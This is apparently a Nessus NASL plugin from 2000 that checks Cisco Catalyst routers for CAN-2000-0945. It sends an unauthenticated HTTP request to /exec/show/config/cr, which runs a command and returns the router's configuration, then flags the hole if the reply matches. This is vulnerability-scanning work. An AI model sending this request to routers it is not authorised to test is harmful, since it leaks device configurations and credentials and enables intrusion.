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#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
#
# UNTESTED!
#
if(description)
{
script_id(10545);
script_cve_id("CAN-2000-0945");
name["english"] = "Cisco Catalyst Web Execution";
name["francais"] = "Execution de commandes sur un cisco catalyst";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
It is possible to execute arbitrary commandes on the
remote Cisco router, by requesting them via http,
as in
/exec/show/config/cr
An attacker may use this flaw to cut your network access to
the internet, and may even lock you out of the router.
Solution : Disable the web configuration interface completely
Risk factor : High";
desc["francais"] = "
Il est possible de faire executer des commandes arbitraires
au routeur cisco, en faisant des requetes http telles que :
/exec/show/config/cr
Un pirate peut utiliser ce problme pour couper votre rseau
d'internet.
Solution : dsactivez le module de configuration par le web
Facteu de risque : Elev";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Obtains the remote router configuration";
summary["francais"] = "Obtient la config du routeur";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
family["english"] = "Misc.";
family["francais"] = "Divers";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes");
script_require_ports("Services/www", 80);
exit(0);
}
port = 80;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
req = http_get(item:"/exec/show/config/cr",
port:port);
send(socket:soc, data:req);
r = recv(socket:soc, length:4096);
close(soc);
req = string(
"It is possible to execute arbitrary commandes on the\n",
"remote Cisco router, by requesting them via http,\n",
"as in\n",
" /exec/show/config/cr\n\n",
"We could get the following configuration file :\n",
r,"\n\n",
"An attacker may use this flaw to cut your network access to\n",
"the internet, and may even lock you out of the router.\n\n",
"Solution : Disable the web configuration interface completely\n",
"Risk factor : High");
if(("enable" >< r) &&
("interface" >< r) &&
("ip address" >< r))security_hole(port:port, data:req);
}
}
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